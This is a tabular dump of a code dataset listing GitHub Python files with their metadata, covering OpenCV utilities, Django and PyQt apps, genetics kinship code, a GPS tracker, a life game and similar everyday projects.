blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4a53de76c4dd3833934cd78abc2927f3b18c325d | 2117cba97777fdcdad862fcd1467ffe788c2873b | /detection.py | 5a72a33da56d32814ce2b940cc844fc9ca9d015d | [] | no_license | vishnuu95/GMM-Segmentation | 9e3090e54a4dc345adac0a14cd6000d0e9a5e838 | bf33ba48cecab3d73b74bc18ee6e1a54e5ac666c | refs/heads/master | 2022-06-06T20:13:46.321550 | 2020-04-28T20:00:04 | 2020-04-28T20:00:04 | 255,444,824 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,785 | py | import numpy as np
import cv2
import math
def videoToImage(fname,tarname):
cap = cv2.VideoCapture(fname)
i=0
while(cap.isOpened()):
ret,frame = cap.read()
if ret == False:
break
cv2.imwrite(tarname+'/Img'+str(i)+'.jpg',frame)
i+=1
def maskCreation(img,point,rad):
crop=img[point[0][1]-rad:point[0][1]+ra... | [
"abhibanerjee2494@gmail.com"
] | abhibanerjee2494@gmail.com |
252bad329cdacaa1649a0e8ad212dfd0a4402e6c | b7e15c9279a4a7db0535eb6df6925b18de196df0 | /fileDialogDemo.py | bb22795c3e5ea6a6aaed3bfd4e073b57bf104793 | [] | no_license | lirunquan/PyCharmTest | f70a4710be43389918c46e9598c578490ad0539d | 048d39bd6990972350e4d3fb7c8bf4b4fa6b0452 | refs/heads/master | 2020-08-07T23:07:20.756547 | 2019-11-11T11:52:35 | 2019-11-11T11:52:35 | 213,616,938 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 922 | py | # _*_coding:utf-8_*_
# Created by #Lirunquan, on 2019-09.
# Copyright (c) 2019 3KWan.
# Description :
import sys
from PyQt5.QtWidgets import QFileDialog, QWidget, QPushButton, QApplication, QLabel, QVBoxLayout
class Demo(QWidget):
def __init__(self):
super(Demo, self).__init__()
self.button = QPu... | [
"lirunquan@3k.com"
] | lirunquan@3k.com |
7f10f53df20ae0a5007fc79373158b565ab622c2 | b70e4a63ccce8805b995c1d1b46cb43ae35651b6 | /Python/2017-03-09 v0.1 learning_to_use_eval.py | e5abff4141ad169e2418324c6d85d458790eaf55 | [] | no_license | kjmorenz/libpicoquant-ptuenabled-withheader | 5529f7a5327954c9e90224ea1705668f9613aff8 | 2db888426d345103d1af78abc98032d1d3c217f2 | refs/heads/master | 2022-02-17T00:02:20.766580 | 2019-05-19T15:59:45 | 2019-05-19T15:59:45 | 96,443,026 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 400 | py | '''def perim(a):
return 4*a
def area(a):
return 1*a
prop=raw_input("Type a function: ")
for a in range(1,5):
if (prop=='perim(a)'):
print(eval(prop))
elif (prop=='area(a)'):
print (eval(prop))
else:
print ("wrong function")
break
'''
from math import *
user_func=raw... | [
"[minhal.hasham@mail.utoronto.ca]"
] | [minhal.hasham@mail.utoronto.ca] |
ed37f73e678d1b6b333530229c2be44674ff4ce5 | 926a67c0fd7d9994bb27b75681c885ee61ed29ae | /opencv_webapp/opencv/asgi.py | adb6ef8f9026ad84a164e374f2c8eadf031df9d0 | [] | no_license | xxy1226/opencv_webapp | 1b402bb9c9454e1b14b005bfc9b012feeb7512de | f68f4fd31cec724003bab8fcbb9aa3e00e2b2113 | refs/heads/master | 2022-12-10T08:51:02.939750 | 2021-03-21T18:34:57 | 2021-03-21T18:34:57 | 245,921,211 | 0 | 0 | null | 2022-11-22T07:39:07 | 2020-03-09T01:52:21 | Python | UTF-8 | Python | false | false | 405 | py | """
ASGI config for opencv project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('... | [
"andrew.xia.mb@gmail.com"
] | andrew.xia.mb@gmail.com |
65919ce4b1b3d936c97523598586a89ba2fa9986 | 5de0de5fb85d456d12a906859a54d7b30a78e8c2 | /neuralbinder/affinity_binder/test_rnacompete_2009_mixed.py | 276f540f6415c7996b47a5df8d20c3c6a71a7841 | [
"MIT"
] | permissive | p-anand/neuralbinder | f9d32b83a20d441993caad15f0885e3b953c65ae | 2d2cd7bb822c795520e70960c7fe6b87988ab4d9 | refs/heads/master | 2021-08-19T11:47:52.637572 | 2017-11-26T02:59:37 | 2017-11-26T02:59:37 | 111,343,195 | 0 | 0 | null | 2017-11-20T00:16:11 | 2017-11-20T00:16:11 | null | UTF-8 | Python | false | false | 3,947 | py | #---------------------------------------------------------------------------------------
"""
Summary: Test deep learning models on setAB-mixed RNAcompete_2009 test datasets
"""
#---------------------------------------------------------------------------------------
from __future__ import absolute_import
from __future_... | [
"panand@fas.harvard.edu"
] | panand@fas.harvard.edu |
4ed02bdf51360eec127aec3492ad51c8d7296a79 | 65e474ddb5b7930175867cf87632b9ac429d5c6b | /tests/conftest.py | efa716c2daba0d785cf3a4b6d21d015652959702 | [] | no_license | Reachip/all-links | 7435f55897f5f307de4ca92b8154e023b766ba7f | a5f17f71bf00707796f1d11992465a12eccb2024 | refs/heads/master | 2021-07-18T01:36:17.990959 | 2020-07-02T19:39:49 | 2020-07-02T19:39:49 | 244,042,481 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,645 | py | import pytest
@pytest.fixture
def html_page_title():
return "A page title"
@pytest.fixture
def page_url():
return "https://reachip.free.fr"
@pytest.fixture
def website_links():
return (
"https://b/a/CV.html#CV",
"https://b/a/tmp.html#tmp",
"https://b/a/projets-scolaires.html#pr... | [
"r.mejri74100@gmail.com"
] | r.mejri74100@gmail.com |
e471661fae3480adb9e3f9f7f43ef27894aa4189 | 1bdc59bb30d9def587a8fa040f024965b24de88d | /web/py/update.py | a525f506d7e30b7dffcbe21436d5dd0675f248dd | [] | no_license | DevinMui/recognize | 2eb22cf9781292db2dac40eec2036888d6048dc5 | 1c6d85c2a434ba39ef685f49b484b99209d34121 | refs/heads/master | 2021-01-15T14:23:52.132969 | 2016-04-07T21:40:31 | 2016-04-07T21:40:31 | 55,442,341 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 881 | py | import cv2
from PIL import Image
import numpy as np
import os
import sys
cascadePath = "face.xml"
faceCascade = cv2.CascadeClassifier(cascadePath)
recognizer = cv2.createLBPHFaceRecognizer()
try:
recognizer.load("recognize.xml")
except:
print "No recognizer found"
image_paths = sys.argv[1] # grabs arrays as an arg... | [
"devinmui@yahoo.com"
] | devinmui@yahoo.com |
69c9e262048633d25a5a72be25d5d7d6e2d42520 | d29284979657a3c05e4f8093ef1c22faf24b7897 | /scripts/pylmmKinship.py | 6ced7f73a3b236da52df218545b2581278c50c0a | [] | no_license | ChristophRau/GxTheta | 77b44488f6195c96c782e391bfbbce68a71d69fb | 1effab7382ecd5cb934ea8609a89be2654f59622 | refs/heads/master | 2022-09-22T22:51:12.211080 | 2022-09-14T14:39:28 | 2022-09-14T14:39:28 | 162,505,442 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,194 | py | #!/usr/bin/python
# pylmm is a python-based linear mixed-model solver with applications to GWAS
# Copyright (C) 2013 Nicholas A. Furlotte (nick.furlotte@gmail.com)
# The program is free for academic use. Please contact Nick Furlotte
# <nick.furlotte@gmail.com> if you are interested in using the software for
... | [
"noreply@github.com"
] | noreply@github.com |
31e76c4a4b7e0120c4899850a4ba0b0e191da444 | be8b3b0495c649a9cc8030af8579e87d570ca76f | /pygeotoolbox/dataconnectors/persistentcartographicsituations/moveview.py | fda16710194ad5ce75eafffad2d99a88c4f71ad9 | [
"MIT"
] | permissive | raugustyn/doctest | f5212ab77d496cb9dea3ae8eb0a8d4d92533a92d | c37b0e2fa11ebd30d600923020b1ce44145a0250 | refs/heads/master | 2020-04-14T00:10:17.673687 | 2018-12-29T16:55:28 | 2018-12-29T16:55:30 | 163,526,509 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,770 | py | from PyQt4.QtGui import *
from PyQt4.QtCore import *
def doPrint(minX, minY, maxX, maxY, fileName):
print "Saving map..."
print "\tCreating output image"
img = QImage(QSize(600, 600), QImage.Format_ARGB32_Premultiplied)
color = QColor(255, 255, 255)
img.fill(color.rgb())
print "\tCreating painter"
p = QPainte... | [
"raugustyn@post.cz"
] | raugustyn@post.cz |
0018c166f0b25a646c4a8aa465cf383c6dd3b3b8 | c0fe99f74960603812615d84f9fed3b55e3d7ac5 | /profile_app/__init__.py | 16291e9d864330f339833d9bce7d881c5bfcaf96 | [] | no_license | Kat001/rahulapp1 | 7031e0c0e70009abdd1da898f1ac74900bbab36a | 3c0a5c8c75f1c8de19e9b1ec7fa09a751c35d41b | refs/heads/master | 2023-01-31T00:42:29.163009 | 2020-12-13T18:17:08 | 2020-12-13T18:17:08 | 315,661,493 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 58 | py |
default_app_config = 'profile_app.apps.ProfileAppConfig'
| [
"devpaldivakar@Devpals-MacBook-Pro.local"
] | devpaldivakar@Devpals-MacBook-Pro.local |
c8e4f95bf55a4e11bce53f218e6cd0b021f1139a | 77672b1ed6c40bef090caf3abc5d2a16d4856733 | /blog/forms.py | 93857322980ad99382cd384aa9bff62855fd4fe6 | [] | no_license | Bhanupriya08/my-first-blog | 798f730605df7b3e24b8f0fe7c9635da79c082d0 | 18abecafcbf4fa4f60b889de4d6fde92501cf5ba | refs/heads/master | 2020-12-22T04:42:26.505148 | 2020-01-29T11:38:10 | 2020-01-29T11:38:10 | 236,673,374 | 0 | 0 | null | 2020-01-29T11:40:57 | 2020-01-28T06:34:29 | Python | UTF-8 | Python | false | false | 165 | py | from django import forms
from .models import Post
class PostForm(forms.ModelForm):
class Meta:
model = Post
fields = ('title', 'text','image') | [
"cs100priya@gmail.com"
] | cs100priya@gmail.com |
237f1bd2dc487fe60a3de9660c545f74da8c252b | c4702d1a06640555829b367852138cc93ba4a161 | /dym_report_other_receivable/report/dym_report_xls.py | e815ff128933ca57add0dc5c6cc764a60b2f11eb | [] | no_license | Rizalimami/dym | 0ecadf9c049b22ebfebf92e4eab6eaad17dd3e26 | af1bcf7b77a3212bc8a8a0e41e6042a134587ed4 | refs/heads/master | 2020-04-08T10:56:43.605698 | 2018-11-27T06:44:08 | 2018-11-27T06:44:08 | 159,287,876 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 17,005 | py | import xlwt
from datetime import datetime
from openerp.osv import orm
from openerp.addons.report_xls.report_xls import report_xls
from openerp.addons.report_xls.utils import rowcol_to_cell, _render
from .dym_report import dym_report_other_receivable_print
from openerp.tools.translate import translate
import logging
_lo... | [
"rizal@portcities.net"
] | rizal@portcities.net |
84ebea8823ba318c3491b09c196f309d5e1ab203 | 33348295018232ae046f5c8a5dc0988b2e734006 | /mapping.py | 088e629ab82b6dc085b8c4e4664d733d079fade5 | [] | no_license | mjbaucas/FollowingRobotNeuralNetwork | 69ca407119ef68fd73246dd921a52a939904c7c6 | 8085839322e2e6ae0f1f531764a1eba93f0e2f6d | refs/heads/master | 2020-03-24T19:02:36.908931 | 2018-09-06T19:02:38 | 2018-09-06T19:02:38 | 142,907,478 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,010 | py | #Simulates the behaviour of the robot and how it translates sensor values to directions
class MappingControl:
def init(self):
self.motor_pair = {}
def train_mapping(self, data, environment):
for key, value in data.items():
environment.evaluate_sensors(value[0], value[1]... | [
"mjbaucas@gmail.com"
] | mjbaucas@gmail.com |
8a0079e3aa82f90784eb504cb7938500429a6149 | 1221b8856b9faddb5bcf7beebbfed119ead4704e | /doxygen/test/test_contents.py | 6b93c0b220761428511142961e174786410322ed | [
"MIT"
] | permissive | mikezackles/m.css | 985582ac54b6a9d2af3ded372bf9270f000381e7 | 30bd87036d10b0590f0589dbbccbd283b710a711 | refs/heads/master | 2020-03-29T01:19:01.434881 | 2019-03-03T21:23:22 | 2019-03-03T21:23:22 | 149,382,787 | 0 | 0 | MIT | 2018-09-19T02:47:54 | 2018-09-19T02:47:54 | null | UTF-8 | Python | false | false | 20,832 | py | #
# This file is part of m.css.
#
# Copyright © 2017, 2018 Vladimír Vondruš <mosra@centrum.cz>
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including witho... | [
"mosra@centrum.cz"
] | mosra@centrum.cz |
17f0c26bc0a61d07fd5c4916ed4f5ec2d27a83c6 | c726791205dce62851ff448c994e8f3007890f37 | /demo/examples/image_processor/application.py | c504916f92de32143c65b617c644656f30c7b2c2 | [
"MIT"
] | permissive | masterdezign/Chips-Demo | cdcf443de8c36eaf7ac9531fb5aa32c300bdde1f | 8bc3c8897ced394a1649dfda417979dcdb17292a | refs/heads/master | 2021-09-03T17:14:08.844317 | 2018-01-10T16:43:44 | 2018-01-10T16:45:44 | 114,141,439 | 0 | 0 | null | 2017-12-13T16:06:36 | 2017-12-13T16:06:36 | null | UTF-8 | Python | false | false | 389 | py | from demo.components.server import server
from chips.api.api import *
def application(chip):
eth = Component("application.c")
eth(
chip,
inputs = {
"eth_in" : chip.inputs["input_eth_rx"],
},
outputs = {
"eth_out" : chip.outputs["output_eth_tx"],
... | [
"chips@jondawson.org.uk"
] | chips@jondawson.org.uk |
f410057cae7ae8e1339c8dac17c74dc88a9d8708 | fb1e852da0a026fb59c8cb24aeb40e62005501f1 | /decoding/GAD/fairseq/data/audio/raw_audio_dataset.py | 1d92e4966bddce95d492eae411952a4a9ca2c9bd | [
"LGPL-2.1-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | microsoft/unilm | 134aa44867c5ed36222220d3f4fd9616d02db573 | b60c741f746877293bb85eed6806736fc8fa0ffd | refs/heads/master | 2023-08-31T04:09:05.779071 | 2023-08-29T14:07:57 | 2023-08-29T14:07:57 | 198,350,484 | 15,313 | 2,192 | MIT | 2023-08-19T11:33:20 | 2019-07-23T04:15:28 | Python | UTF-8 | Python | false | false | 5,267 | py | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import logging
import os
import sys
import numpy as np
import torch
import torch.nn.functional as F
from .. import FairseqDataset
logger ... | [
"tage@microsoft.com"
] | tage@microsoft.com |
5bd1c4c635fe32c3791141e9bc42704f35a43e4b | 06ae8168b7067c8f77f06a48a22d158af1657651 | /models.py | 98bc2e3f49a110d63721b232a0145760a06b1461 | [] | no_license | Jiangjao/teaProject | 61e3cab41fab4b1aa8d2b1cfd6c6337c01196497 | 9f14d59d974bf82158a43d19c42b977b393857d2 | refs/heads/master | 2023-08-12T11:38:56.561815 | 2021-10-11T06:30:17 | 2021-10-11T06:30:17 | 347,795,463 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,027 | py | from django.db import models
class Chemistry(models.Model):
cid = models.IntegerField(blank=True, null=True)
structure = models.CharField(max_length=255, blank=True, null=True)
molecularformula = models.CharField(primary_key=True, max_length=255)
molecularweight = models.CharField(max_length=255, blan... | [
"918718278@qq.com"
] | 918718278@qq.com |
c185bd148714959bb4c81aed9353ba8a2d792ff7 | d034ebd490672ba1fa6598f4a17a3ca94a065da8 | /bio3/migrations/0003_auto_20210129_0245.py | 68fabbc92b359324e5f84b80a361ad381960977e | [] | no_license | dimerick/Backend_Bio3 | 83c1423d50ecdcae49c2e7c914d4394f69d1f018 | 07ae73e8f03fc74823df9605cd3ded6e40ab4cf9 | refs/heads/master | 2023-02-26T12:03:42.815315 | 2021-01-31T21:56:30 | 2021-01-31T21:56:30 | 326,485,104 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 678 | py | # Generated by Django 3.1.4 on 2021-01-29 02:45
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('bio3', '0002_auto_20210127_0216'),
]
operations = [
migrations.AlterField(
model_name='profile'... | [
"ericksaenz@outlook.com"
] | ericksaenz@outlook.com |
cad6221319320a99ab923752183f8b1cd72f2d3c | bfdab27f224d9cac02e319fe55b53172fbf8d1a2 | /motion_editor_core/data/atlas_old/positions/arm/vi_r_arm16.py | 5b8f8c2d722682feff71311b3a7e3510d0fcdcca | [] | no_license | tu-darmstadt-ros-pkg/motion_editor | c18294b4f035f737ff33d1dcbdfa87d4bb4e6f71 | 178a7564b18420748e1ca4413849a44965823655 | refs/heads/master | 2020-04-06T12:37:30.763325 | 2016-09-15T14:11:48 | 2016-09-15T14:11:48 | 35,028,245 | 2 | 3 | null | 2015-05-05T13:20:27 | 2015-05-04T10:18:22 | Python | UTF-8 | Python | false | false | 69 | py | { 'vi_r_arm16': [1.9635, -1.7167, 0.2953, -1.4274, -0.132, -0.8095]}
| [
"martin.sven.oehler@gmail.com"
] | martin.sven.oehler@gmail.com |
402e1a0cedc16d41ef05c7910420031fb8ab7d1d | 872f24199d847f05ddb4d8f7ac69eaed9336a0d5 | /gcwrap/python/scripts/plotcomp.py | 4f41b9a4beaac8ff3b4fc52744c0b37fdf46759a | [] | no_license | schiebel/casa | 8004f7d63ca037b4579af8a8bbfb4fa08e87ced4 | e2ced7349036d8fc13d0a65aad9a77b76bfe55d1 | refs/heads/master | 2016-09-05T16:20:59.022063 | 2015-08-26T18:46:26 | 2015-08-26T18:46:26 | 41,441,084 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 11,008 | py | from taskinit import casalog, metool, qa, smtool, tbtool
from simutil import simutil
import pylab as pl
import os
import shutil
import tempfile
import matplotlib
def plotcomp(compdict, showplot=True, wantdict=False, symb=',',
include0amp=False, include0bl=False, blunit='', bl0flux=0.0):
"""
Given... | [
"darrell@schiebel.us"
] | darrell@schiebel.us |
d4202a7cc347cb775ed22712a5bae290e0f6e5d5 | f0761fa85569a8b6b68d7868ba2236409e6dd684 | /Infoblox_automated_scripts/NIOSSPT-10572.py | 9fbc56be4220e0431f728852d5931d67f6a4c805 | [] | no_license | shashiRS/Infoblox_Python-Automation_scripts | 108091c26bb11323844e8a5e43a70dcc09a31509 | 74a581289803ddfc09c90e1c0359d4b91879af20 | refs/heads/master | 2022-12-09T11:30:38.214935 | 2020-09-26T04:02:37 | 2020-09-26T04:02:37 | 298,732,784 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 20,045 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = "Shashikala R S"
__email__ = "srs@infoblox.com"
#############################################################################
# Grid Set up required: #
# 1. SA GRID with Licenses : DNS,DHCP ... | [
"srs@infoblox.com"
] | srs@infoblox.com |
05f1d2962bbc2acbcf8799136ebb1541eaa4c0b0 | f8ff5e4ffa27fc7e952052b9b3a8574e81a14d25 | /Actor-Critic/PyTorch-ActorCriticRL/main.py | d4897f7b260b33595e01ae170c4f6ce1566dfd37 | [] | no_license | shanggangli/Reinforcement-Learning-Notes | 5897f5d2bf2b93824654ecfca9ab613ab01910a3 | 10b4226f617e9f640bb4b899c95cc41eaab1262b | refs/heads/main | 2023-01-12T15:29:33.693216 | 2020-11-12T14:31:41 | 2020-11-12T14:31:41 | 305,132,341 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,682 | py | from __future__ import division
import gym
import numpy as np
import torch
from torch.autograd import Variable
import os
import psutil
import gc
import train
import buffer
#env = gym.make('BipedalWalker-v3')
env = gym.make('Pendulum-v0')
MAX_EPISODES = 5000
MAX_STEPS = 1000
MAX_BUFFER = 1000000
MAX_TOTAL_REWARD = 3... | [
"SgangX@136.com"
] | SgangX@136.com |
a70976adcd38d97d1d3ea83ec1d4e2f2a71f7d87 | b4c9551fba78ec43a13a19be5806fb24bb10031f | /life_game.py | 0b3b03cef82d0300cf2687b1a0abad08e74944be | [] | no_license | Yigangan/rjgc3 | d5c5318db4cf50f2166dda1d8d3d0599d35bda71 | 1de6097c61434a6db76a6ae99f4b897470413d2f | refs/heads/master | 2023-03-17T13:23:32.439171 | 2020-03-13T13:49:56 | 2020-03-13T13:49:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 933 | py | '''生命游戏'''
# -*- coding: utf-8 -*-
#
# @author Epsirom
import os
from game_map import GameMap
class LifeGame(object):
'''生命游戏'''
def __init__(self, map_rows=10, map_cols=10, life_init_possibility=0.5):
self.game_map = GameMap(map_rows, map_cols)
self.game_map.reset(life_init_possibility)
... | [
"975716738@qq.com"
] | 975716738@qq.com |
453d76090742470d03f3340279fcb08680069b71 | 7362556f849f3bcbf256443590e3894045b041c8 | /camera.py | 299bcb621bcb395d5ff3a21fc9a3a0bdeca524aa | [] | no_license | HarshilP03/CaptionFyME | 0f1f13f6b9ccc99a262cbfb9b34a2e47fc5c69e3 | cd65a858a97444974a64f4fa26de8c1b48902dc5 | refs/heads/main | 2023-06-23T13:39:03.001775 | 2021-07-18T09:59:54 | 2021-07-18T09:59:54 | 387,135,577 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 510 | py | import cv2
def gen_frame():
camera = cv2.VideoCapture(0)
path = None
while True:
success,frame = camera.read()
if not success:
break
else:
path = "./static/clickImg.jpg"
cv2.imwrite(path,frame)
break
# ret, buffer = cv2.i... | [
"harshil.panwar03@gmail.com"
] | harshil.panwar03@gmail.com |
b246744037954e4d56a3d62e35f360a31c14f200 | 787022de03a2dd6998c1518673830395b389e3df | /migration/migrator/migrations/system/20190708143708_add_submitty_admin_json.py | bbd3ab8fcc84b2fbfb1be63377cd4a2f875ea629 | [
"BSD-3-Clause",
"MIT"
] | permissive | Submitty/Submitty | e6b8731656291a025aa77f928eb067bc9a307540 | b223d9e952bcdb8664721a55593bc75e0e3c8c4f | refs/heads/main | 2023-08-31T23:56:11.291752 | 2023-08-31T19:12:18 | 2023-08-31T19:12:18 | 16,236,118 | 592 | 727 | BSD-3-Clause | 2023-09-13T05:36:08 | 2014-01-25T17:43:57 | PHP | UTF-8 | Python | false | false | 715 | py | """
Migration for the Submitty system.
adds submitty admin json
"""
from pathlib import Path
import shutil
import json
import os
def up(config):
submitty_admin_filename = str(Path(config.submitty['submitty_install_dir'], 'config', 'submitty_admin.json'))
if not os.path.isfile(submitty_admin_filename):
... | [
"bmcutler@users.noreply.github.com"
] | bmcutler@users.noreply.github.com |
97079f55849044be1ccbccb9e0557c71c60e4b04 | ba5e590578a9be8f8942eade9a8466872bf4c2bb | /hezkuntza/wizard/upload_education_teacher.py | 27fb3fab5f64e08e947cc0437d20f949f21eb84e | [] | no_license | babarlhr/hezkuntza_education-12.0 | e0c57285651659906fddf07701c60809f77fa9de | 6b0a75638a667961f7d3fabb294307ddc9a82dd5 | refs/heads/master | 2022-04-06T08:01:25.099591 | 2019-12-13T16:19:39 | 2019-12-13T16:19:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,164 | py | # Copyright 2019 Oihane Crucelaegui - AvanzOSC
# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl.html).
from ._common import _read_binary_file, _format_info,\
_convert_time_str_to_float
from eagle import _, exceptions, fields, models
from datetime import datetime
class UploadEducationTeacher(models.... | [
"rapidgrps@princegroup-bd.com"
] | rapidgrps@princegroup-bd.com |
55de31d9cbcc94bdf00f6f455978b87d091008a2 | dfde661ffe24d4c67cdd264a53f8c14eb6aece74 | /mysite/intakebook/apps.py | 0294f7294b063f8199abb743e1fdd0011e7c4100 | [] | no_license | aungkoman/django_tutorial | cf109f1ef28c328e8886d5ae6bc0efb24aaff47e | 955018ebd534b62ab06ad22ece0116eb729da312 | refs/heads/master | 2020-11-28T16:57:42.456798 | 2019-12-24T05:10:03 | 2019-12-24T05:10:03 | 229,874,120 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 95 | py | from django.apps import AppConfig
class IntakebookConfig(AppConfig):
name = 'intakebook'
| [
"aungkoman@gmail.com"
] | aungkoman@gmail.com |
9044bd80fea49b5a1d29baaff80635e7aebe48eb | 7b0768240b86fcdae2eea8ce05b4012edf346889 | /gps.py | c3839b07e134b1db1bf459b57e9c004a58a1d0d9 | [] | no_license | matiasturunen/speedy | b7d257a7711cb2eeff224c63c4eb1c511c454f63 | 49ba1b71bb552ab27bdee410c6b63459997385b0 | refs/heads/master | 2021-01-19T07:20:01.067458 | 2018-07-28T17:10:36 | 2018-07-28T17:10:36 | 95,685,490 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,278 | py | import math
import time
import serial
import pynmea2
import datetime as dt
from threading import Thread
from queue import LifoQueue, Empty
class GPSInfo:
speed = 0
distance = 0
lat = 0
lat_dir = 0
lon = 0
lon_dir = 0
def __init__(self, speed, distance=0, lat=0, lon=0, lat_d... | [
"mt95@windowslive.com"
] | mt95@windowslive.com |
8b087c73804a5243d706108000c7e8710ab77e46 | 87aa19b7e8a075cba48114f13f4c1ad8c54a7283 | /balloon3d.py | adc701d75430576bb19aa2079e2f8d1ed4e5819d | [
"MIT"
] | permissive | RyosukeDTomita/vaisalaPlot | 03d00b11675ce48ffa0bb08753519283428b9648 | ea0e9f95ece1ee92419b0d6c99558c655ddcc28c | refs/heads/master | 2023-05-31T13:36:48.547650 | 2021-06-24T14:52:36 | 2021-06-24T14:52:36 | 379,776,044 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,422 | py | ##########################################################################
# Name: balloon3d.py
#
# 3D plot of zonde ballon
#
# Usage: python3 ballon3d.py
#
# Author: Ryosuke Tomita
# Date: 2021/06/22
##########################################################################
import numpy as np
import matplotlib.pyplot ... | [
""
] | |
e11c58e1dcc7848596649d5524206b7ba632f80d | a732c1380c8dc829df5ba57b67456a9b603b0cf4 | /model.py | b9386587de7cded1f73f81a5ce43913598a42395 | [] | no_license | ilkaynazli/job-search-planner | 1266433ce6bb8c249c65dfcdb1d01e4a8d97095d | 6ac5f3c82de1c33d564eea627468e54c99daf968 | refs/heads/master | 2020-04-15T07:59:26.225728 | 2019-01-19T05:16:40 | 2019-01-19T05:16:40 | 164,510,930 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,025 | py | """
the database model of job search planner web app
"""
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
"""Import SQLAlchemy object from flask_sqlalchemy library and make the
connection to PostgreSQL"""
db = SQLAlchemy() #create an instance of SQLAlchemy object
class User(db.Mode... | [
"ilkayncelik@gmail.com"
] | ilkayncelik@gmail.com |
9bc4cb5d38e560f98cf8e7fd5812eddb7adfb613 | b6c09a1b87074d6e58884211ce24df8ec354da5c | /1637. 两点之间不包含任何点的最宽垂直面积.py | ca285a4325e0ec01f5b84e4b3523ea887d7501c8 | [] | no_license | fengxiaolong886/leetcode | a0ee12d67c4a10fb12d6ca4369762ab5b090cab1 | 4c0897bc06a297fa9225a0c46d8ec9217d876db8 | refs/heads/master | 2023-03-18T22:16:29.212016 | 2021-03-07T03:48:16 | 2021-03-07T03:48:16 | 339,604,263 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 771 | py | """
给你 n 个二维平面上的点 points ,其中 points[i] = [xi, yi] ,请你返回两点之间内部不包含任何点的 最宽垂直面积 的宽度。
垂直面积 的定义是固定宽度,而 y 轴上无限延伸的一块区域(也就是高度为无穷大)。 最宽垂直面积 为宽度最大的一个垂直面积。
请注意,垂直区域 边上 的点 不在 区域内。
"""
def maxWidthOfVerticalArea(points):
points.sort()
res = 0
n = len(points)
for i in range(1, n):
# print(points[i][0])
... | [
"xlfeng886@163.com"
] | xlfeng886@163.com |
ba9793454b72cf6087c048cea652467469da0dc2 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_vagrant.py | 25425a414477258cae648761022543eca0a49624 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py |
#calss header
class _VAGRANT():
def __init__(self,):
self.name = "VAGRANT"
self.definitions = [u'a person who is poor and does not have a home or job: ']
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.specie = 'nouns'
def run(self, obj1 = [], obj2 = []):
retur... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
d8725cc5ae912b35641e0abbed0cff0095ee939b | a1119965e2e3bdc40126fd92f4b4b8ee7016dfca | /trunk/node_monitor/node_monitor_log_parser.py | babf691c9d4f4de5f349def2f23d6aa61954ef67 | [
"LicenseRef-scancode-unknown-license-reference",
"MIT"
